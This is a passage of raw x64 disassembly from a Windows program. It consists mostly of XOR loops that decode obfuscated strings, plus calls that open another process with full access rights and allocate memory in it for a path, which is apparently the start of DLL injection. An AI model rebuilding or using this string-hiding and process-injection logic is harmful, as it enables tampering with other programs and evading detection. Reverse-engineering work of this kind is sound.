mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a30a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a30a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x598], rbx
mov qword [rbp + 0x5a0], 7
mov word [rbp + 0x588], bx
mov rdx, qword [rbp + 0x660]
cmp rdx, 7
jbe 0x14002a371
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x648]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a36c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a36c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x660], 7
mov word [rbp + 0x648], bx
mov rdx, qword [rbp + 0x700]
cmp rdx, 7
jbe 0x14002a3d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x6e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a3ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a3ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x6f8], rbx
mov qword [rbp + 0x700], 7
mov word [rbp + 0x6e8], bx
mov rdx, qword [rbp + 0x720]
cmp rdx, 7
jbe 0x14002a435
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x708]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a430
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a430
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x718], rbx
mov qword [rbp + 0x720], 7
mov word [rbp + 0x708], bx
lea rcx, [rbp + 0x14a0]
cmp qword [rbp + 0x14b8], 7
cmova rcx, qword [rbp + 0x14a0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002e416
lea rdx, [rbp + 0x14a0]
lea rcx, [rbp + 0x14c0]
call fcn.140016070
nop
lea rcx, [rbp + 0x14c0]
call fcn.140040080
mov rdx, rax
lea rcx, [rbp + 0x1070]
call fcn.140040340
nop
lea rcx, [rbp + 0x1070]
call fcn.140018530
movzx edi, al
lea rcx, [rbp + 0x1070]
call fcn.140040140
test dil, dil
je 0x14002e211
movups xmm0, xmmword [str.i_IQTML_._0d63h:_____6______X]
movups xmmword [rbp + 0xb30], xmm0
movups xmm1, xmmword [0x1400d47e8]
movups xmmword [rbp + 0xb40], xmm1
mov r8d, ebx
cmp r15d, 2
jl 0x14002a5f7
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xb30]
mov r8d, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14002a510
jmp 0x14002a632
lea r9, [rbp + 0xb30]
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14002a600
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x1090]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1090]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0x1090]
call fcn.140040140
xor r8d, r8d
lea rdx, [rbp + 0x14c0]
lea rcx, [rbp + 0x10b0]
call fcn.1400433f0
nop
lea rcx, [rbp + 0x10b0]
call fcn.140004970
movzx edi, al
lea rcx, [rbp + 0x10b0]
call fcn.1400038f0
test dil, dil
jne 0x14002a875
movups xmm0, xmmword [0x1400d6cc8]
movups xmmword [rbp + 0xbf8], xmm0
movups xmm1, xmmword [0x1400d6cd8]
movups xmmword [rbp + 0xc08], xmm1
movups xmm0, xmmword [0x1400d6ce8]
movups xmmword [rbp + 0xc18], xmm0
movsd xmm0, qword [0x1400d6cf8]
movsd qword [rbp + 0xc28], xmm0
movzx eax, byte [0x1400d6d00]
mov byte [rbp + 0xc30], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002a7fd
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xbf8]
mov edx, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14002a710
cmp r8d, 0x39
jge 0x14002a83f
movsxd rax, r8d
lea r9, [rbp + 0xbf8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14002a810
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x10d0]
call fcn.140040340
nop
mov r8d, 0xff
lea rdx, [rbp + 0x10d0]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0x10d0]
call fcn.140040140
mov edx, dword [0x1400d4b38]
movups xmm2, xmmword [0x1400d4b28]
mov dword [rbp + 0x70], edx
movups xmmword [rbp + 0x60], xmm2
mov r8d, ebx
cmp r15d, 2
jl 0x14002aa93
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68]
xorps xmm2, xmm1
movd dword [rbp + 0x68], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x70], xmm2
jmp 0x14002aad2
lea r9, [rbp + 0x60]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14002aaa0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x10f0]
call fcn.140040340
nop
mov r8d, 0xffff
lea rdx, [rbp + 0x10f0]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0x10f0]
call fcn.140040140
mov r8d, 0x104
lea rdx, [rbp + 0x1770]
mov rcx, qword [0x1400ecc10]
call qword [sym.imp.USER32.dll_GetWindowTextW]
movups xmm0, xmmword [str.iHT_XML_]
movups xmmword [rbp + 0x1458], xmm0
movq xmm0, qword [0x1400d4900]
movsd qword [rbp + 0x1468], xmm0
mov eax, dword [0x1400d4908]
mov dword [rbp + 0x1470], eax
movzx eax, word [0x1400d490c]
mov word [rbp + 0x1474], ax
lea rdx, [rbp + 0x1770]
lea rcx, [rbp + 0x11b8]
call fcn.14003ff10
mov r10, rax
cmp word [rbp + 0x1474], 0
je 0x14002ad13
mov r8d, ebx
cmp r15d, 2
jl 0x14002acd2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1458]
xorps xmm3, xmm0
movq qword [rbp + 0x1458], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1460]
xorps xmm3, xmm0
movq qword [rbp + 0x1460], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1468]
xorps xmm3, xmm0
movq qword [rbp + 0x1468], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x1458]
lea r9, [r9 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x14002ace0
mov r8, r10
lea rdx, [rbp + 0x1458]
lea rcx, [rbp + 0x1198]
call fcn.140043fd0
nop
lea r8, [0x1400d2c2c]
mov rdx, rax
lea rcx, [rbp + 0x1510]
call fcn.140043f60
nop
lea rcx, [rbp + 0x1198]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x11b8]
call fcn.1400038f0
mov r8d, 0xff00
lea rdx, [rbp + 0x1510]
mov rcx, r12
call fcn.14000a8c0
lea rcx, [rbp + 0x1770]
call fcn.1400191a0
lea rcx, [rbp + 0x1770]
call fcn.1400191a0
mov edi, eax
mov dword [rbp + 0x12c8], eax
test eax, eax
je 0x14002dd11
movups xmm0, xmmword [str.iHT_XML__b]
movups xmmword [rbp + 0x1438], xmm0
movq xmm0, qword [0x1400d72a8]
movsd qword [rbp + 0x1448], xmm0
movzx ecx, word [0x1400d72b0]
mov word [rbp + 0x1450], cx
mov edx, eax
lea rcx, [rbp + 0x11f8]
call fcn.140003220
mov r10, rax
cmp word [rbp + 0x1450], 0
je 0x14002af83
mov r8d, ebx
cmp r15d, 2
jl 0x14002af39
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1438]
xorps xmm3, xmm0
movq qword [rbp + 0x1438], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1440]
xorps xmm3, xmm0
movq qword [rbp + 0x1440], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1448]
xorps xmm3, xmm0
movq qword [rbp + 0x1448], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x1438]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x14002af50
mov r8, r10
lea rdx, [rbp + 0x1438]
lea rcx, [rbp + 0x11d8]
call fcn.140043fd0
nop
lea r8, [0x1400d2e80]
mov rdx, rax
lea rcx, [rbp + 0x1538]
call fcn.140043f60
nop
lea rcx, [rbp + 0x11d8]
call fcn.1400038f0
nop
lea rcx, [rbp + 0x11f8]
call fcn.1400038f0
mov r8d, 0xff00
lea rdx, [rbp + 0x1538]
mov rcx, r12
call fcn.14000a8c0
movups xmm2, xmmword [0x1400d4de0]
movups xmmword [rbp + 0x1b8], xmm2
movsd xmm0, qword [0x1400d4df0]
movsd qword [rbp + 0x1c8], xmm0
movzx eax, byte [0x1400d4df8]
mov byte [rbp + 0x1d0], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002b29d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1b8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1bc]
xorps xmm2, xmm1
movd dword [rbp + 0x1bc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c0]
xorps xmm2, xmm1
movd dword [rbp + 0x1c0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c4]
xorps xmm2, xmm1
movd dword [rbp + 0x1c4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c8]
xorps xmm2, xmm1
movd dword [rbp + 0x1c8], xmm2
movdqa xmm2, xmmword [0x1400d7380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1cc]
xorps xmm2, xmm1
movd dword [rbp + 0x1cc], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14002b2b0
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0xe30]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xe30]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0xe30]
call fcn.140040140
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov qword [rbp + 0x348], rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14002d96e
lea rdx, [rbp + 0x14c0]
lea rcx, [rbp + 0x14e0]
call fcn.1400162e0
nop
lea rcx, [rbp + 0x14e0]
call fcn.14003fdd0
mov qword [rsp + 0x58], rax
mov r8, qword [rbp + 0x14f0]
lea r8, [r8*2 + 2]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1370], rax
test rax, rax
jne 0x14002b553
lea rdx, [rbp + 0x1178]
call fcn.14002ef70
mov r9, rax
cmp byte [rax + 0xe], 0
je 0x14002b52b
cmp r15d, 2
jl 0x14002b4f4
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
mov ebx, esi
mov r8d, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jl 0x14002b500
mov rcx, r9
call fcn.1400163d0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm2, xmmword [0x1400d4de0]
movups xmmword [rbp + 0x198], xmm2
movsd xmm0, qword [0x1400d4df0]
movsd qword [rbp + 0x1a8], xmm0
movzx eax, byte [0x1400d4df8]
mov byte [rbp + 0x1b0], al
mov r8d, ebx
cmp r15d, 2
jl 0x14002b811
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x198], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x19c]
xorps xmm2, xmm1
movd dword [rbp + 0x19c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
